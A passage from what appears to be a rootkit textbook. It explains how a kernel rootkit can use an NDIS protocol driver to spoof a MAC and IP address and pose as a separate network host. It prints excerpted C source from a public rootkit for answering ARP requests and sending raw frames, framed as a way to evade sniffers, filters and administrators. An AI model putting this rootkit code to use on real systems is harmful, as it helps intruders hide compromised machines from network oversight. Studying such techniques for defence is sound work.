< Day Day Up > |
Using the NDIS protocol driver, we now can emulate a new host on the network. This means our rootkit will have its own IP address on the network. Rather than using the existing host IP stack, you can specify a new IP address. In fact, you can also specify your own MAC address! The combination of IP and MAC addresses is usually unique to each physical computer. If someone is sniffing the network, your new IP-MAC combination will appear to be a stand-alone machine on the network. This might divert attention away from the actual physical machine that is infected. It may also be used to bypass filters. Creating Your MAC AddressThe first step we need to take to emulate a new host on the network is to create our own MAC address. The MAC address is associated with the network card being used. Usually, this is hard-coded at the factory, and it is not meant to be changed. However, by crafting raw packets, it's possible to have any MAC of your choosing. A MAC consists of 48 bits of data, including a vendor code. When you craft a new MAC address, you can select the vendor code to use. Most sniffer programs resolve the vendor code. Some switches can be configured to allow only one MAC address per port. In fact, they can be configured to allow only a specific MAC address on a given port. If a switch is configured this way, the actual host MAC and your new MAC will conflict. This usually results in your new IP-MAC combination not working, or the entire port getting shut down. Handling ARPForging raw network frames is not without its complications. If you are forging a source IP address and an Ethernet MAC address, you are required to handle the ARP (address resolution) protocol. If you don't provide for ARP, no packets will be routed to your network. The ARP protocol tells the router that your source IP is available, and more importantly, which Ethernet address it should be routed to. This is also important for switches. A good switch will know which Ethernet address is using which ports. If your rootkit doesn't handle the Ethernet address properly, then the switch may not send packets down the right wire. It should also be noted that some switches allow only a single Ethernet address per port. If your rootkit tries to use an alternate MAC address, the switch might throw an alarm and block communication on your wire. This has a tendency to make a system administrator put down her doughnut, grab a crimper, and start "debuggering." That is the last event you want your rootkit to initiate. What follows is example code from a rootkit that responds to an ARP request. This code was taken from a publicly available rootkit, rk_044, which can be downloaded from rootkit.com. Rootkit.com The source code for the entire rootkit excerpted here may be found at: www.rootkit.com/vault/hoglund/rk_044.zip #define ETH_P_ARP 0x0806 // Address Resolution Packet #define ETH_ALEN 6 // octets in one ethernet addr #define ARPOP_REQUEST 0x01 #define ARPOP_REPLY 0x02 // Ethernet Header struct ether_header { unsigned char h_dest[ETH_ALEN]; /* destination eth addr */ unsigned char h_source[ETH_ALEN];/* source ether addr */ unsigned short h_proto; /* packet type ID field */ }; struct ether_arp { struct arphdr ea_hdr; /* fixed-size header */ u_char arp_sha[ETH_ALEN]; /* sender hardware address */ u_char arp_spa[4]; /* sender protocol address */ u_char arp_tha[ETH_ALEN]; /* target hardware address */ u_char arp_tpa[4]; /* target protocol address */ }; void RespondToArp( struct in_addr sip, struct in_addr tip, __int64 enaddr) { struct ether_header *eh; struct ether_arp *ea; struct sockaddr sa; struct pps *pp = NULL; The MAC address we are using (spoofing) is 0xDEADBEEFDEAD. We allocate a packet large enough for an ARP response. This is initialized with null bytes. __int64 our_mac = 0xADDEEFBEADDE; // deadbeefdead ea = ExAllocatePool(NonPagedPool,sizeof(struct ether_arp)); memset(ea, 0, sizeof (struct ether_arp)); We fill in the fields of the Ethernet header. The protocol type is set to ETH_IP_ARP, which is defined as the constant 0x806. eh = (struct ether_header *)sa.sa_data; (void)memcpy(eh->h_dest, &enaddr, sizeof(eh->h_dest)); (void)memcpy(eh->h_source, &our_mac, sizeof(eh->h_source)); eh->h_proto = htons(ETH_P_ARP); We also fill in the fields of a "prototype Ether/ARP" structure. ea->arp_hrd = htons(ARPHRD_ETHER); ea->arp_pro = htons(ETH_P_IP); ea->arp_hln = sizeof(ea->arp_sha); /* hardware address length */ ea->arp_pln = sizeof(ea->arp_spa); /* protocol address length */ ea->arp_op = htons(ARPOP_REPLY); (void)memcpy(ea->arp_sha, &our_mac, sizeof(ea->arp_sha)); (void)memcpy(ea->arp_tha, &enaddr, sizeof(ea->arp_tha)); (void)memcpy(ea->arp_spa, &sip, sizeof(ea->arp_spa)); (void)memcpy(ea->arp_tpa, &tip, sizeof(ea->arp_tpa)); pp = ExAllocatePool(NonPagedPool,sizeof(struct pps)); memcpy(&(pp->eh), eh, sizeof(struct ether_header)); memcpy(&(pp->ea), ea, sizeof(struct ether_arp)); We send the data over the network interface using a SendRaw function. After sending the packet, we free our resources. // Send raw packet over default interface. SendRaw((char *)pp, sizeof(struct pps)); ExFreePool(pp); ExFreePool(ea); } Here are some useful macros for performing the network address translation (htons, etc.) and related functions: #define INETADDR(a, b, c, d) (a + (b<<8) + (c<<16) + (d<<24)) #define HTONL(a) (((a&0xFF)<<24) + ((a&0xFF00)<<8) + ((a&0xFF0000)>>8) + ((a&0xFF000000)>>24)) #define HTONS(a) (((0xFF&a)<<8) + ((0xFF00&a)>>8)) The IP GatewayAs we have seen, ARP is used to associate an IP address with a MAC address. This allows us to send IP traffic to the desired MAC. However, MAC addresses are used only on the local network they do not route over the Internet. If an IP address exists off network, then the packet must be routed. That is what a gateway is for. A gateway usually has an IP address, and certainly has a MAC address. To route packets out of the network, you need only to use the gateway MAC address in your packets. To clarify: You do not send packets to the IP of the gateway; you send the packets to the MAC of the gateway. For example, if I want to send a packet to 172.16.10.10, and my current network is 192.168.0.0, I must find the MAC address of the gateway. If the gateway is 192.168.0.1, I can use ARP to find its MAC address. Then I send the packet to 172.16.10.10 with the MAC of the gateway. Sending a PacketYou can use NdisSend to send raw packets over the network. The following code illustrates how this works. As before, this code is taken from rk_044, a public rootkit that can be downloaded from rootkit.com. The following snippet uses a spinlock to share access to a global data structure. This is important for thread safety, since the callback that collects packets occurs in a different thread context than any of our worker thread(s). VOID SendRaw(char *c, int len) { NDIS_STATUS aStat; DbgPrint("ROOTKIT: SendRaw called\n"); /* aquire lock, release only when send is complete */ KeAcquireSpinLock(&GlobalArraySpinLock, &gIrqL); Next, we allocate an NDIS_PACKET from our packet pool. In this example, the packet pool handle is stored in a global structure. (We illustrated the allocation of a packet pool earlier, in the discussion of the OnOpenAdapterDone function.) if(gOpenInstance && c){ PNDIS_PACKET aPacketP; NdisAllocatePacket(&aStat, &aPacketP, gOpenInstance->mPacketPoolH ); if(NDIS_STATUS_SUCCESS == aStat) { PVOID aBufferP; PNDIS_BUFFER anNdisBufferP; Now we allocate an NDIS_BUFFER from our buffer pool. Again, the buffer pool handle is stored globally. The buffer is initialized with the packet data we wish to send, and then "chained" to the NDIS_PACKET. Note that we set the reserved field of the NDIS_PACKET to NULL so our OnSendDone function will know this is a locally generated send. NdisAllocateMemory( &aBufferP, len, 0, HighestAcceptableMax ); memcpy( aBufferP, (PVOID)c, len); NdisAllocateBuffer( &aStat, &anNdisBufferP, gOpenInstance->mBufferPoolH, aBufferP, len ); if(NDIS_STATUS_SUCCESS == aStat) { RESERVED(aPacketP)->Irp = NULL; NdisChainBufferAtBack(aPacketP, anNdisBufferP); The NDIS_PACKET is passed to NdisSend. If NdisSend completes immediately, we call OnSendDone; otherwise, the call is "pending," and a callback to OnSendDone will occur. NdisSend( &aStat, gOpenInstance->AdapterHandle, aPacketP ); if (aStat != NDIS_STATUS_PENDING ) { OnSendDone( gOpenInstance, aPacketP, aStat ); } } else { // error } } else { // error } } /* release so we can send next.. */ KeReleaseSpinLock(&GlobalArraySpinLock, gIrqL); } The code in OnSendDone frees the resources we allocated for the NdisSend. VOID OnSendDone( IN NDIS_HANDLE ProtocolBindingContext, IN PNDIS_PACKET pPacket, IN NDIS_STATUS Status ) { PNDIS_BUFFER anNdisBufferP; PVOID aBufferP; UINT aBufferLen; PIRP Irp; DbgPrint("ROOTKIT: OnSendDone called\n"); KeAcquireSpinLock(&GlobalArraySpinLock, &gIrqL); If the send operation were initiated from a user-mode application, we would have an IRP to deal with. The IRP would be stored in the reserved field of the NDIS_PACKET. For purposes of our example, however, there is no IRP, since the send operation originates from kernel mode. Irp=RESERVED(pPacket)->Irp; if(Irp) { NdisReinitializePacket(pPacket); NdisFreePacket(pPacket); Irp->IoStatus.Status = NDIS_STATUS_SUCCESS; /* never reports back anything sent.. */ Irp->IoStatus.Information = 0; IoCompleteRequest(Irp, IO_NO_INCREMENT); } else { Assuming there is no IRP, we then "unchain" the NDIS_BUFFER from the NDIS_PACKET. Using a call to NdisQueryBuffer allows us to recover the original memory buffer so that we can free it. This is important since if we don't free it, a memory leak will occur with every packet send! Note that we also use a spinlock to protect access to the globally shared buffer. // If no IRP, then it was local. NdisUnchainBufferAtFront( pPacket, &anNdisBufferP ); if(anNdisBufferP) { NdisQueryBuffer( anNdisBufferP, &aBufferP, &aBufferLen); if(aBufferP) { NdisFreeMemory( aBufferP, aBufferLen, 0 ); } NdisFreeBuffer(anNdisBufferP); } NdisReinitializePacket(pPacket); NdisFreePacket(pPacket); } /* release so we can send next.. */ KeReleaseSpinLock(&GlobalArraySpinLock, gIrqL); return; } The choice of whether you use NDIS or TDI will depend on how low you want to be on the machine. Each approach has its pros and cons. See Table 9-1.
You now have the tools required to manipulate network traffic from your kernel rootkit. |
< Day Day Up > |